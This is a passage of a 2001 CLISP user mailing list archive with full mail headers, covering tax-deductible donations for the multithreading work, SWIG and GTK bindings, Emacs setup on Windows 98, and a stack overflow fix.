(8.11.1/8.11.1) id f5BIsXv03088 for clisp-list@lists.sourceforge.net; Mon, 11 Jun 2001 11:54:33 -0700 (PDT) Date: Mon, 11 Jun 2001 11:54:33 -0700 (PDT) Message-Id: <200106111854.f5BIsXv03088@isis.compsvcs.com> X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-clispMT using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-clispMT@isis.compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CLISP MT - donations tax deductible? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: It occurs to me that those of us who donate to the MT project would benefit (and might even pass that benefit on) if we could make the donations deductible. Does anyone out there know of a way to do this? I think what we want is an already non-profit organization that is willing to accept our donations and apply them to this project. I did ask linuxfund and the answer was no, donations are not currently deductible and no, they don't currently accept donations for particular projects. From sds@gnu.org Mon Jun 11 12:09:56 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159X4W-0007V1-00 for ; Mon, 11 Jun 2001 12:09:56 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA09076; Mon, 11 Jun 2001 15:09:50 -0400 (EDT) X-Envelope-To: To: don-clispMT@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP MT - donations tax deductible? References: <200106111854.f5BIsXv03088@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200106111854.f5BIsXv03088@isis.compsvcs.com> Date: 11 Jun 2001 15:09:05 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200106111854.f5BIsXv03088@isis.compsvcs.com> > * On the subject of "[clisp-list] CLISP MT - donations tax deductible?" > * Sent on Mon, 11 Jun 2001 11:54:33 -0700 (PDT) > * Honorable don-clispMT@isis.compsvcs.com (Don Cohen) writes: > > It occurs to me that those of us who donate to the MT project would > benefit (and might even pass that benefit on) if we could make the > donations deductible. Does anyone out there know of a way to do this? since CLISP is actually "GNU CLISP" now, maybe FSF could do that? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Lisp: its not just for geniuses anymore. From sds@gnu.org Mon Jun 11 12:27:31 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159XLV-0001yj-00 for ; Mon, 11 Jun 2001 12:27:30 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA16968 for ; Mon, 11 Jun 2001 15:27:22 -0400 (EDT) X-Envelope-To: To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 11 Jun 2001 15:26:35 -0400 Message-ID: Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Call for volunteers: CLISP FFI & SWIG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Volunteers are needed to make SWIG (http://www.swig.org/) support CLISP FFI http://sourceforge.net/tracker/?func=detail&atid=351645&aid=429122&group_id=1645 -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Stupidity, like virtue, is its own reward. From bhyde@zap.ne.mediaone.net Mon Jun 11 12:35:07 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 159XSs-00034Q-00 for ; Mon, 11 Jun 2001 12:35:06 -0700 Received: (qmail 8392 invoked by uid 1000); 11 Jun 2001 19:35:00 -0000 From: Ben Hyde MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15141.7523.61862.334385@zap.ne.mediaone.net> Date: Mon, 11 Jun 2001 15:34:59 -0400 (EDT) To: don-clispMT@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP MT - donations tax deductible? In-Reply-To: <200106111854.f5BIsXv03088@isis.compsvcs.com> References: <200106111854.f5BIsXv03088@isis.compsvcs.com> X-Mailer: VM 6.71 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Don Cohen wrote: > It occurs to me that those of us who donate to the MT project would > benefit (and might even pass that benefit on) if we could make the > donations deductible. Does anyone out there know of a way to do this? > > I think what we want is an already non-profit organization that is > willing to accept our donations and apply them to this project. I did > ask linuxfund and the answer was no, donations are not currently > deductible and no, they don't currently accept donations for > particular projects. As a former board member of a nonprofit, but certainly not as an expert... First off I'll note for some of our international readers that for Americans $ given to a IRS registered nonprofit is before taxes while money given otherwise is not. For example 100$ given to my community theater costs me 100$, while 100$ given to my school's registered parent's org. costs me more like really only 70$. Secondly non-profits are not allowed to be money laundering operations. So if I go to my school and say here is 100$ for: "My son's fourth grade can buy film for their camera so he can do his class project" they can not, strictly speaking, accept it under those terms without running the risk of getting in trouble. Since the IRS has far better things to do with their time though. This is dangerous turf because it can make the various subfactions of a nonprofit get all territorial; "Our friends gave that money so we should get it." - ben From rrschulz@cris.com Mon Jun 11 12:40:56 2001 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159XYS-0003sK-00 for ; Mon, 11 Jun 2001 12:40:52 -0700 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net (8.9.1a/(98/12/15 5.12)) id PAA01722; Mon, 11 Jun 2001 15:40:43 -0400 (EDT) [1-800-745-2747 The Concentric Network] Received: from Clemens.cris.com (da003d4930.sjc-ca.osd.concentric.net [208.176.185.71]) by newman.concentric.net (8.9.1a) id PAA00123; Mon, 11 Jun 2001 15:40:41 -0400 (EDT) Message-Id: <5.1.0.14.2.20010611121108.022c3658@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 11 Jun 2001 12:40:58 -0700 To: don-clispMT@isis.compsvcs.com (Don Cohen), clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] CLISP MT - donations tax deductible? In-Reply-To: <200106111854.f5BIsXv03088@isis.compsvcs.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Don, In the U.S.A., anyway, tax-exempt status is covered under section 501 and 509 of the IRS code. E.g., tax-exempt charities are covered under 501(c)(3). If the organization has not formally applied for and acquired the appropriate status with the IRS, then contributions thereto are not tax deductible. The FSF is tax-exempt and deductions to it are tax-deductible. (From the home page: "The Free Software Foundation is a tax-exempt charity that raises funds for work on the GNU Project"). I could not readily find there IRS-assigned organization identification code, but surely they'd supply it on request. Is there actually an organization called "Cons.org?" Judging from the home page () the answer is no, it's Martin Cracauer's personal project. Similarly, I see no indication that SourceForge is a tax-exempt organization. I'm not sure which organization would be considered the recipient of the any funds collected to support adding MT to CLISP. If they're going directly to the individual doing the work, I don't even think it's possible. If it were going through a tax-exempt organization such as the FSF and that organization were then employing the individual (or organization) doing the programming work, then even though the contribution would be tax-deductible by the contributor, the employer (e.g. FSF) would have to do all the usual tax business (withholding, reporting, etc.). All in all, I'm not sure this will fly or whether it would be worth the trouble. But then again, you can always put it on your tax form and hope it isn't noticed or challenged. That is the American Way, after all ("It's only illegal if you get caught." or that famous school yard taunt, "It's a free country."). Standard Disclaimer: I AM NOT A LAWYER, tax or otherwise. Nor do I mean to presume that the individuals or organizations involved are in the U.S.A. Randall Schulz Mountain View, CA USA At 11:54 2001-06-11, Don Cohen wrote: >It occurs to me that those of us who donate to the MT project would >benefit (and might even pass that benefit on) if we could make the >donations deductible. Does anyone out there know of a way to do this? > >I think what we want is an already non-profit organization that is >willing to accept our donations and apply them to this project. I did >ask linuxfund and the answer was no, donations are not currently >deductible and no, they don't currently accept donations for >particular projects. From sds@gnu.org Mon Jun 11 12:55:29 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159Xma-0005x6-00 for ; Mon, 11 Jun 2001 12:55:29 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA22134; Mon, 11 Jun 2001 15:55:22 -0400 (EDT) X-Envelope-To: To: Bruce Lambert Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] editor/interface to CLISP under Win98 References: <5.0.2.1.0.20010611123846.0214c380@tigger.cc.uic.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.0.2.1.0.20010611123846.0214c380@tigger.cc.uic.edu> Date: 11 Jun 2001 15:54:35 -0400 Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <5.0.2.1.0.20010611123846.0214c380@tigger.cc.uic.edu> > * On the subject of "[clisp-list] editor/interface to CLISP under Win98" > * Sent on Mon, 11 Jun 2001 12:42:37 -0500 > * Honorable Bruce Lambert writes: > > I have just installed CLISP version: "2.25 (released 2001-03-15) (built > 3195500178) (memory 3200321124)" on my Win98 machine. you are two versions behind - please get 2.26. > I installed the gnu readline library, but it appears that I do not > have readline capability. What have I done wrong? Do I need to > reinstall CLISP? CLISP does not use readline on win32. winnt console has line editing facilities, otherwise you are out of luck (barring fixing this yourself :-) > On a related note, what is the friendliest interface to clisp under > win98. I am accustomed to using Allegro Common Lisp vi emacs on a Unix > machine. I'd love to work with clisp via emacs also, but I could use > some assistance in getting that to work. I use GNU Emacs with CLISP. (setq inferior-lisp-program "d:/gnu/clisp/lisp.exe -B d:/gnu/clisp -M d:/gnu/clisp/lispinit.mem -I" lisp-indent-function 'common-lisp-indent-function inferior-lisp-prompt "^[^> \n]*[>:]+ *") Some people use ILISP. I do not since it rebinds some standard keys: e.g., "]" does not self-insert anymore! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Marriage is the sole cause of divorce. From earneson@musiciansfriend.com Mon Jun 11 13:11:48 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159Y2M-0000K3-00 for ; Mon, 11 Jun 2001 13:11:46 -0700 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA16FD for ; Mon, 11 Jun 2001 13:08:08 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15141.9724.372959.703087@sif.musiciansfriend.com> Date: Mon, 11 Jun 2001 13:11:40 -0700 To: clisp-list@sourceforge.net Subject: Re: [clisp-list] Call for volunteers: CLISP FFI & SWIG In-Reply-To: References: X-Mailer: VM 6.92 under 21.4 (patch 3) "Academic Rigor" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: \4O_hWLR(Vuv@sWdx&RY;cL$Z*"}Ju)csS88-39IEH(Kp#giK9e3$&2]45j6P`M<\-sup%| e[CE}266(M4AHjTBAT-'K[QHxk*Y#5z;o<^u+}lWVmR;kbs=[lf.+?A~uHs`"HJ$Atob@|Dq]75ICr Ul2z*!==UJ!%Ez,t):2/CE2E_&{kf3DgEN]1qidhc-#3MdP{TIp/7 From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 11 June 2001, Sam Steingold wrote: > Volunteers are needed to make SWIG (http://www.swig.org/) support CLISP FFI > http://sourceforge.net/tracker/?func=detail&atid=351645&aid=429122&group_id=1645 Sam, To your knowledge, has anybody written a set of GTK+ bindings for CLISP? If so, what about GLADE? -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obediance to God!" - Thomas Jefferson # From lambertb@uic.edu Mon Jun 11 13:36:55 2001 Received: from birch.cc.uic.edu ([128.248.155.162]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 159YQg-0005AP-00 for ; Mon, 11 Jun 2001 13:36:54 -0700 Received: (qmail 5452 invoked from network); 11 Jun 2001 20:34:01 -0000 Received: from lambertb.pharm.uic.edu (HELO lambertb.uic.edu) (128.248.77.221) by birch.cc.uic.edu with SMTP; 11 Jun 2001 20:34:01 -0000 Message-Id: <5.0.2.1.0.20010611152714.022812f0@tigger.cc.uic.edu> X-Sender: lambertb@tigger.cc.uic.edu X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 11 Jun 2001 15:36:49 -0500 To: clisp-list@sourceforge.net From: Bruce Lambert In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] how to avoid stack overflow error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam and others: First of all, thanks for the pointers about editors under win98. Now I've upgraded to 2.26 and I am running into a stack overflow problem. The program extracts and sorts word n-grams with a variable window. I ran the program under ACL and I got the following results for time/space: cl-user(8): (time (main-extract-bigrams "cpmathsci-turns.txt" "cpmathsci-trigrams.txt" "stop.wrd" 3 5)) Reading turns from file. Read 36318 turns. Extracting windowed bigrams from each turn. 9701824 bytes have been tenured, next gc will be global. See the documentation for variable *global-gc-behavior* for more information. 9430232 bytes have been tenured, next gc will be global. See the documentation for variable *global-gc-behavior* for more information. Ranking bigrams by frequency. ; cpu time (non-gc) 67,330 msec (00:01:07.330) user, 350 msec system ; cpu time (gc) 20,730 msec user, 180 msec system ; cpu time (total) 88,060 msec (00:01:28.060) user, 530 msec system ; real time 89,281 msec (00:01:29.281) ; space allocation: ; 7,398,544 cons cells, 95,625,640 other bytes, 0 static bytes When I run it under clisp-2.26, I get a stack overflow error as follows: *** - Program stack overflow. RESET Real time: 32.24 sec. Run time: 32.24 sec. Space: 46003476 Bytes GC: 24, GC time: 5.65 sec. What can I do to increase my stack size or otherwise manage this memory problem? -bruce From sds@gnu.org Mon Jun 11 14:15:53 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159Z2O-00033X-00 for ; Mon, 11 Jun 2001 14:15:52 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA09382; Mon, 11 Jun 2001 17:15:47 -0400 (EDT) X-Envelope-To: To: Bruce Lambert Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] how to avoid stack overflow error? References: <5.0.2.1.0.20010611152714.022812f0@tigger.cc.uic.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.0.2.1.0.20010611152714.022812f0@tigger.cc.uic.edu> Date: 11 Jun 2001 17:14:56 -0400 Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <5.0.2.1.0.20010611152714.022812f0@tigger.cc.uic.edu> > * On the subject of "[clisp-list] how to avoid stack overflow error?" > * Sent on Mon, 11 Jun 2001 15:36:49 -0500 > * Honorable Bruce Lambert writes: > > *** - Program stack overflow. RESET try editbin /stack: lisp.exe where is a large enough number (default is 3145728). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Please wait, MS Windows are preparing the blue screen of death. From sds@gnu.org Mon Jun 11 14:20:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159Z6Y-0003Yi-00 for ; Mon, 11 Jun 2001 14:20:10 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA10384; Mon, 11 Jun 2001 17:20:08 -0400 (EDT) X-Envelope-To: To: Erik Arneson Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Call for volunteers: CLISP FFI & SWIG References: <15141.9724.372959.703087@sif.musiciansfriend.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15141.9724.372959.703087@sif.musiciansfriend.com> Date: 11 Jun 2001 17:19:17 -0400 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15141.9724.372959.703087@sif.musiciansfriend.com> > * On the subject of "Re: [clisp-list] Call for volunteers: CLISP FFI & SWIG" > * Sent on Mon, 11 Jun 2001 13:11:40 -0700 > * Honorable Erik Arneson writes: > > To your knowledge, has anybody written a set of GTK+ bindings for > CLISP? http://www.uni-karlsruhe.de/~unk6/export/cl-gtk-1999-01-19.tar.gz > If so, what about GLADE? nope. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on All extremists should be taken out and shot. From peter.wood@worldonline.dk Tue Jun 12 01:03:47 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159j9O-00053s-00 for ; Tue, 12 Jun 2001 01:03:46 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id A9194B533 for ; Tue, 12 Jun 2001 10:03:43 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f5C7p7900187; Tue, 12 Jun 2001 09:51:07 +0200 Date: Tue, 12 Jun 2001 09:51:07 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Call for volunteers: CLISP FFI & SWIG Message-ID: <20010612095107.A171@localhost.localdomain> References: <15141.9724.372959.703087@sif.musiciansfriend.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15141.9724.372959.703087@sif.musiciansfriend.com>; from erik@aarg.net on Mon, Jun 11, 2001 at 01:11:40PM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Jun 11, 2001 at 01:11:40PM -0700, Erik Arneson wrote: > Sam, > > To your knowledge, has anybody written a set of GTK+ bindings for CLISP? > If so, what about GLADE? Hi, There are bindings, but they didn't work, last I tried (sorry, I can't even remember where I found them - a search should find them eventually). On Linux, it is possible to compile CLISP as a GTK program, by putting in a call to gtk_init() after main. (Do this in src/spvw.d.) With a CLISP compiled like this, you can write external GTK functions in C, and compile them into CLISP with clisp-link. I used GLADE to generate C stubs, and then wrote a few simple FFI lisp functions to call/manipulate the GTK functions. I was only playing around, so I don't know how robust this method would be. Also, having to arse around with GLADE and C is not that much fun. However, I was able to run a simple repl in a GTK window with some simple editing functions. I repeat - I was only playing around, and it was enough work that it would probably be better to just write GTK bindings from scratch. Regards, Peter From peter.wood@worldonline.dk Tue Jun 12 01:03:47 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159j9O-00053j-00 for ; Tue, 12 Jun 2001 01:03:46 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 0F028B4CF for ; Tue, 12 Jun 2001 10:03:43 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f5C7v2p00197; Tue, 12 Jun 2001 09:57:02 +0200 Date: Tue, 12 Jun 2001 09:57:02 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010612095702.B171@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] lisp indentaion on console Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi I've written some functions which extend Readline to do lisp indentation. I put these functions in spvw.d before main(), and the calls to readline (rl_add_defun) to register the functions after main. They work ok, but my question is, is spvw.d a suitable place for this sort of thing? If they should go elsewhere, where would that be? Regards, Peter From amoroso@mclink.it Tue Jun 12 01:27:11 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159jW1-0002Um-00 for ; Tue, 12 Jun 2001 01:27:10 -0700 Received: from net145-076.mclink.it (net145-076.mclink.it [195.110.145.76]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id f5C8R3U07375 for ; Tue, 12 Jun 2001 10:27:03 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux Date: Tue, 12 Jun 2001 10:26:38 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 11 Jun 2001 11:28:50 -0400, Sam Steingold wrote: > should be finally fixed. Now MIT CLX works--really--fine. Thanks, Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From sds@gnu.org Tue Jun 12 09:03:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159qdJ-0006vr-00 for ; Tue, 12 Jun 2001 09:03:09 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA19408; Tue, 12 Jun 2001 12:03:04 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp indentaion on console References: <20010612095702.B171@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010612095702.B171@localhost.localdomain> Date: 12 Jun 2001 12:01:56 -0400 Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010612095702.B171@localhost.localdomain> > * On the subject of "[clisp-list] lisp indentaion on console" > * Sent on Tue, 12 Jun 2001 09:57:02 +0200 > * Honorable Peter Wood writes: > > I've written some functions which extend Readline to do lisp > indentation. what exactly do they do? TAB does completion, so it cannot indent (like in Emacs). You mean, indentation on RET? > I put these functions in spvw.d before main(), and the calls to > readline (rl_add_defun) to register the functions after main. They > work ok, but my question is, is spvw.d a suitable place for this sort > of thing? If they should go elsewhere, where would that be? stream.d, near init_streamvars(), is probably better. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Takeoffs are optional. Landings are mandatory. From glauber.ribeiro@experian.com Tue Jun 12 12:15:15 2001 Received: from mailhub1.experian.com ([167.107.229.201]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159tdD-0007DN-00 for ; Tue, 12 Jun 2001 12:15:15 -0700 Received: from expexch1.ora.experian.com (exchange.experian.com [167.107.228.135]) by mailhub1.experian.com (8.9.3/8.9.3) with ESMTP id MAA00279; Tue, 12 Jun 2001 12:14:09 -0700 (PDT) Received: by expexch.ora.experian.com with Internet Mail Service (5.5.2653.19) id ; Tue, 12 Jun 2001 12:16:18 -0700 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" Cc: "'Bruce Lambert'" Date: Tue, 12 Jun 2001 12:16:16 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] RE: clisp-list digest, Vol 1 #219 - 13 msgs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > Date: Mon, 11 Jun 2001 15:36:49 -0500 > To: clisp-list@sourceforge.net > From: Bruce Lambert > Subject: [clisp-list] how to avoid stack overflow error? > > [...] > > When I run it under clisp-2.26, I get a stack overflow error as follows: > > *** - Program stack overflow. RESET > Real time: 32.24 sec. > Run time: 32.24 sec. > Space: 46003476 Bytes > GC: 24, GC time: 5.65 sec. > > What can I do to increase my stack size or otherwise manage this memory > problem? Did you try compiling your program? (compile-file "filename") or use the -C (load-compiling) commandline switch. This doesn't increase the stack, but it does some optimizations that may help your problem. g From vs1100@terra.es Tue Jun 12 14:28:35 2001 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp1.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159viD-0006iS-00 for ; Tue, 12 Jun 2001 14:28:33 -0700 Received: 